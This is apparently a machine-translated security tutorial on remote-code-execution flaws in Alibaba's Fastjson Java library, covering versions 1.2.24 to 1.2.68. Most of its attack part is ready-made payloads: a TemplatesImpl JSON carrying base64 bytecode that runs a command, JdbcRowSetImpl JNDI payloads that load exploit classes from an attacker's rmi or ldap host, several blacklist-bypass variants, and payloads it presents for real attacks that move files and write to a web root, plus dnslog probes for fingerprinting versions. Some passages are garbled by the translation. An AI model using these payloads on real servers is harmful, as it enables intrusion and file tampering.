FastJson — это библиотека Java, разработанная Alibaba. Она может конвертировать объекты Java в формат JSON и строки JSON в объекты.
https://github.com/alibaba/fastjson 👈Адрес проекта
«С 15 марта 2017 года,fastjsonЧиновник взял на себя инициативу раскрыть свое присутствие1.2.24
и предыдущие версии содержат уязвимости безопасности удаленного выполнения кода с высоким риском.,Различные новые обходные позы появляются бесконечно. "——c014
Ответ: прямой импорт POM, удобная партия.
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>x.x.xx</version>
</dependency>
</dependencies>
import com.alibaba.fastjson.JSON
fastjson имеет два распространенных способа обработки JSON.
JSON.toJSONString()
метод:Объекты могут быть преобразованы вJSON
нитьJSON.parseObject()
метод:ВоляJSON
нить转换成对象。Давайте рассмотрим серию примеров: создайте объект, преобразуйте его в JSON, а затем преобразуйте обратно в объект. В то же время можно обнаружить, что при сериализации JSON будет вызываться метод getxxx класса, при десериализации JSON будет вызываться конструктор класса;
public class App
{
public static class User{
private String id;
User(){
System.out.println("User go");
}
public void setId(String ids){
System.out.println("setId go");
this.id=ids;
}
public String getId(){
System.out.println("GetId go");
return this.id;
}
}
public static void main(String[] args){
User a = new User();
String json = JSON.toJSONString(a);
System.out.println(json);
System.out.println(JSON.parseObject(json,User.class));
}
}
User go
GetId go
{}
User go
org.example.App$User@36d4b5c
Мы видим, что оператором десериализации JSON является JSON.parseObject(json,User.class). При указании JSON вам также необходимо указать класс, к которому он принадлежит, что делает код очень раздутым, поэтому разработчики могут использовать @type (). autotype) символьное поле, чтобы сделать его менее раздутым. Как показано ниже, вы можете найти определенный тип в JSON, указав значение @type.
JSON.parseObject("{\"@type\":\"org.example.App$User\",\"id\":\"123\"}")
Хотя это очень удобно, при такой десериализации будут выполняться конструктор класса и методы get и set, связанные с атрибутами.
public class App
{
public static class User{
private String id;
User(){
System.out.println("User go");
}
public void setId(String ids){
System.out.println("setId go");
this.id=ids;
}
public String getId(){
System.out.println("GetId go");
return this.id;
}
}
public static void main(String[] args){
System.out.println(JSON.parseObject("{\"@type\":\"org.example.App$User\",\"id\":\"123\"}"));
}
}
User go
setId go
GetId go
{"id":"123"}
Таким образом, в этом интерфейсе десериализации JSON, если мы передадим вредоносный JSON, мы сможем вызвать конструктор любого класса, а также методы get и set, связанные с атрибутами. Если в связанном методе определенного типа (например, выполнении определенной команды) есть опасный код, мы можем создать вредоносный JSON для достижения эффекта RCE.
Кроме того, JSON.parseObject("{"@type":"org.example.App$User","id":"123"}",Feature.SupportNonPublicField) может напрямую присваивать значения частным членам (без добавления Feature.SupportNonPublicField Невозможно присвоить значения закрытым членам)
Да, это TemplatesImplcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl в цепочке 7U21.
Сам этот класс имеет уязвимость десериализации. Данные переменной-члена _bytecodes будут использоваться в качестве байт-кода класса для выполнения операции newInsantce для вызова его конструктора или статического блока. Поэтому fastjson можно использовать как возможность вызвать этот класс. Однако, поскольку _name и _bytecodes являются частными атрибутами, для его реализации интерфейс десериализации FASTJSON должен иметь параметр Feature.SupportNonPublicField. Условия использования очень строгие, но если условия позволяют, это очень удобно. Просто введите полезную нагрузку и все. будет сделано.
“Поле _tfactory не имеет ни метода get, ни метода set в TemplatesImpl.,это не имеет значения,Мы устанавливаем для _tfactory значение { }, и fastjson вызовет свой конструктор без аргументов, чтобы получить объект _tfactory.,Это решает проблему, заключающуюся в том, что в некоторых версиях при использовании метода defineTransletClasses() будет ссылаться на атрибут _tfactory, что приведет к аварийному выходу.“
payload
{
"@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes" : ["yv66vgAAADQAPQoADQAcCQAdAB4IAB8KACAAIQcAIggAIwoAJAAlCgAkACYKACcAKAcAKQoACgAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwADgAPBwAuDAAvADABAAVQd25lZAcAMQwAMgAzAQAQamF2YS9sYW5nL1N0cmluZwEABGNhbGMHADQMADUANgwANwA4BwA5DAA6ADsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAA8AA8BABJ0ZXN0X2Zhc3Rqc29uL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UAIQAMAA0AAAAAAAQAAQAOAA8AAQAQAAAAHQABAAEAAAAFKrcAAbEAAAABABEAAAAGAAEAAAAJAAEAEgATAAIAEAAAABkAAAADAAAAAbEAAAABABEAAAAGAAEAAAAXABQAAAAEAAEAFQABABIAFgACABAAAAAZAAAABAAAAAGxAAAAAQARAAAABgABAAAAHAAUAAAABAABABUACAAXAA8AAQAQAAAAawAEAAEAAAAmsgACEgO2AAQEvQAFWQMSBlNLuAAHKrYACLYACVenAAhLKrYAC7EAAQAIAB0AIAAKAAIAEQAAAB4ABwAAAAsACAANABIADgAdABEAIAAPACEAEAAlABIAGAAAAAcAAmAHABkEAAEAGgAAAAIAGw"],
"_name" : "a",
"_tfactory" : {},
"outputProperties" : {}
}
Класс _bytecodes выглядит следующим образом: скомпилируйте и сгенерируйте Evil.class, прочитайте байт-код и зашифруйте его с помощью base64 как _bytecodes.
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet{
static {
System.err.println("Pwned");
try {
String[] cmd = {"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
@Override
public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
// anything
}
@Override
public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
// anything
}
}
com.sun.rowset.JdbcRowSetImpl,RCE реализуется посредством внедрения JNDI. Однако следует отметить, что внедрение JNDI имеет ограничения по версии JDK, и более высокие версии необходимо обходить.
Наша полезная нагрузка обычно выглядит так
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true}
or
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1099/exp","autoCommit":true}
После попадания этой полезной нагрузки будет выполнен setAutoCommit(), а setAutoCommit() выполнит функцию connct(), как показано ниже. Connect() выполнит InitialContext.lookup(dataSourceName) для свойства dataSourceName для внедрения JNDI.
private Connection connect() throws SQLException {
if(this.conn != null) {
return this.conn;
} else if(this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
}
}
Версии 1.2.24 и более ранние — это как чистые листы бумаги. Начиная с 1.2.25 был добавлен механизм черного и белого списка.
Если мы продолжим использовать полезную нагрузку 1.2.24 (здесь используется полезная нагрузка TemplatesImpl), мы обнаружим, что автотип ошибок не поддерживается.
Причина в том, что метод CheckAutoType был добавлен в com.alibaba.fastjson.parser.ParserConfig.
com.alibaba.fastjson.parser.ParserConfig !public Class<?> checkAutoType(String typeName, Class<?> expectClass)
В нем есть атрибут autotypesupport. Если он имеет значение false, он проверит, начинается ли значение @type в json со значением в черном списке. Если оно одинаковое, он напрямую вернет исключение, а затем загрузит класс. белый список.
if (!autoTypeSupport) {
\\Обнаружение черного списка, имя класса — полное имя входящего класса, DenyList — черный список.
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
Черный список выглядит так
Если поддержка автотипирования включена, сначала будет загружен белый список, а затем будет обнаружен черный список.
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Многие последующие обновления исправят уязвимости, вызванные checkAutotype и некоторые его собственные логические недочеты, а также постоянное увеличение черного списка.
Если autoTypeSupport включен или ожидаемый класс не пуст, будет вызван метод класса загрузки.
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
Среди них, если имя класса начинается с L и заканчивается на L, эти два символа будут удалены и класс будет загружен.
«Что касается того, почему такая странная обработка, пара символов L и ; на самом деле используется для представления имен классов в байт-коде JVM:»
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
Поэтому, когда поддержка автотипирования включена, мы можем создать следующую полезную нагрузку для обхода
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://ip:1099","autoCommit":true}
Как включить поддержку автотипа? Просто добавьте следующий код перед анализом json
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Версия 1.2.25-1.2.32: его можно успешно использовать, когда AutoTypeSupport не включен, но нельзя успешно запустить, когда AutoTypeSupport включен;
Версии 1.2.33-1.2.47: Можно успешно использовать независимо от того, включена ли AutoTypeSupport или нет;
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}
}
В версии 42 разработчики изменили черный список в виде обычного текста на черный список по хешу.,Было много столкновений,Особого смысла нет, проверка производилась при обходе 25 чёрного списка.,Если имя класса заканчивается наL
начало,;
окончание,Он будет обработан с помощью заглушки (это решение оценивается HASH,не могу читать,Но я был в шоке):
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}
Тогда просто пиши обеими руками, чтобы обойти это.
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:2357/Command8",
"autoCommit":true
}
Выносится дополнительное решение об обходе двойной записи.
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}
className = className.substring(1, className.length() - 1);
}
В TypeUtils.loadClass, помимо оценки L;, есть еще оценка [
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
Ориентируясь на это, создается следующая полезная нагрузка. Конкретная причина, по которой она построена таким образом, не уточняется. В любом случае, это связано с [.
{
"@type" : "[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[,{
"_bytecodes" : ["yv66vgAAADQAPQoADQAcCQAdAB4IAB8KACAAIQcAIggAIwoAJAAlCgAkACYKACcAKAcAKQoACgAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwADgAPBwAuDAAvADABAAVQd25lZAcAMQwAMgAzAQAQamF2YS9sYW5nL1N0cmluZwEABGNhbGMHADQMADUANgwANwA4BwA5DAA6ADsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAA8AA8BABJ0ZXN0X2Zhc3Rqc29uL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UAIQAMAA0AAAAAAAQAAQAOAA8AAQAQAAAAHQABAAEAAAAFKrcAAbEAAAABABEAAAAGAAEAAAAJAAEAEgATAAIAEAAAABkAAAADAAAAAbEAAAABABEAAAAGAAEAAAAXABQAAAAEAAEAFQABABIAFgACABAAAAAZAAAABAAAAAGxAAAAAQARAAAABgABAAAAHAAUAAAABAABABUACAAXAA8AAQAQAAAAawAEAAEAAAAmsgACEgO2AAQEvQAFWQMSBlNLuAAHKrYACLYACVenAAhLKrYAC7EAAQAIAB0AIAAKAAIAEQAAAB4ABwAAAAsACAANABIADgAdABEAIAAPACEAEAAlABIAGAAAAAcAAmAHABkEAAEAGgAAAAIAGw"],
"_name" : "a",
"_tfactory" : {},
"outputProperties" : {}
}
В версии 44 реализован обход версии 43. Начиная с [ или с L и заканчивая исключением, будет выброшено исключение.
Встроенная идеальная разбивка JSON
Исправлен встроенный обход JSON с версии 47.,В этих версиях нет хорошего метода обхода.,Большинство онлайн-методов заключаются в использовании JNDI-инъекции из черного списка для поиска рыбы, проскользнувшей в сеть (большинство найденных являются классами компонентов).,Этот компонент должен присутствовать на целевой машине для запуска.https://paper.seebug.org/1155/)а такжеожидаемый класс обходит автотип
После версии 68 появилась новая точка управления безопасностью SafeMode. Если она включена, исключение будет генерироваться непосредственно при проверке AtuoType. Пока установлен тип @type, исключение будет генерироваться, когда вы захотите десериализовать указанный класс. объект, то есть старт. Сайты с сейфмодом смотреть не надо. Конечно эта версия ожидаемый класс обходит автотип можно воспроизводить десятки раз.
Вот демо, чтобы показать это.
package org.example;
import java.io.IOException;
public class VulAutoCloseable implements AutoCloseable {
public VulAutoCloseable(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void close() throws Exception {
}
}
Тогда наша полезная нагрузка
public class evil {
public static void main(String[] args){
System.out.println(JSON.parseObject("{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.example.VulAutoCloseable\",\"cmd\":\"calc\"}\n"));
}
}
Калькулятор после выполнения
Давайте посмотрим, что происходит через отлаживать
Установите точку останова на checkautotype.
Можно обнаружить, что переданное имя типа является AutoCloseable. Ожидаемый класс в это время равен NULL.
Спускаясь вниз, этот класс можно получить непосредственно из кэша Mapping,
Затем он был возвращен напрямую, даже не проходя проверку autoTypeSupport.
clazz возвращается в defaultjsonparser. Просматривая логику, вы можете обнаружить, что для clazz выполняется метод десериализации и последующие действия.
Буду следить за тобой здесь
Если посмотреть вниз, будет запущен второй раунд checkAutoType, поскольку Autocloseable не может успешно сгенерировать объект десериализатора с помощью метода getSeeAlso.
Параметры, передаваемые в checkAutoType во втором раунде, — это второе значение @type, первое значение @type и неважный lexer.getFeatures().
После ввода checkAutoType класс исключения сначала будет внесен в белый список. Класс Autocloseable, естественно, будет передан случайно, а затем для флага исключенияClassFlag будет установлено значение true.
Затем выполняется проверка черного и белого списка для имени типа. Поскольку имя типа — org.example.VulAutoCloseable и его нет в черном и белом списках, проверка, естественно, проходит. Ниже приводится последовательность проверки по порядку
Проверка черного списка
Сначала белый, а затем черный, все результаты Array.binarySearch равны 0, естественно, можно передать условие IF
сначала черный, потом белый
Проходя множество вступительных экзаменов в аспирантуру, класс, указанный по имени типа, передается в TypeUtils.loadClass, после чего
Придет сюда, возвращается объект класса VulAutoCloseable.
Затем этот объект класса будет проверен на предмет того, является ли он подклассом ClassLoader, DataSource, RowSet и т. д. Если это так, будет напрямую выброшено исключение. Это также механизм фильтрации большинства внедренных JNDI гаджетов.
Затем определите, является ли clazz подклассом ExceptClass, и если да, верните объект класса напрямую. После того, как объект класса будет возвращен, он вступит в следующий процесс десериализации, и его метод построения будет вызван для завершения использования.
Полезная нагрузка, используемая в реальном бою:
Перемещение файла: переместите содержимое одного файла в новый файл, и содержимое исходного файла исчезнет.
<dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjtools</artifactId> <version>1.9.5</version></dependency>
{"@type":"java.lang.AutoCloseable", "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath":"D:/b.txt", "targetPath":"E:/b.txt"}
Написание файла
<dependency>
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>5.0.73</version>
</dependency>
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "D:/wamp64/www/hacked.txt", \\Создать пустой файл
"tempPath": "D:/wamp64/www/test.txt"\\Создайте файл с содержимым
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "cHduZWQ=", Содержимое файла после \\base64
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}
{"@type":"java.net.InetAddress","val":"dnslog.cn"} Его можно активировать только ниже 49, потому что этот гаджет запрещен в 49 и может использоваться для обнаружения определенных версий.
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
Если вам повезет, вы сможете опубликовать номер версии напрямую.
{"xxx":"aaa"
Base64 декодирование eyJhIjoiXHgaGiJ9 Его можно запустить только тогда, когда его значение ниже 60. Когда серверная часть Fastjson версия меньше чем 1.2.60 час,При использовании этого пакета запроса не будет никаких задержек или ошибок.,В противном случае оно будет задержано или будет сообщено об ошибке.
Когда некоторые разработчики пишут код, связанный с анализом JSON, они могут установить возможность передачи только определенных объектов. Объект, который мы передаем при установке @type, может не соответствовать указанному объекту, что приводит к исключению типа несоответствия.
Решение заключается в следующем: самый внешний вложенный объект
{
"xxx": {"@type":"java.net.InetAddress","val":"dnslog"}
}
https://www.freebuf.com/vuls/228099.html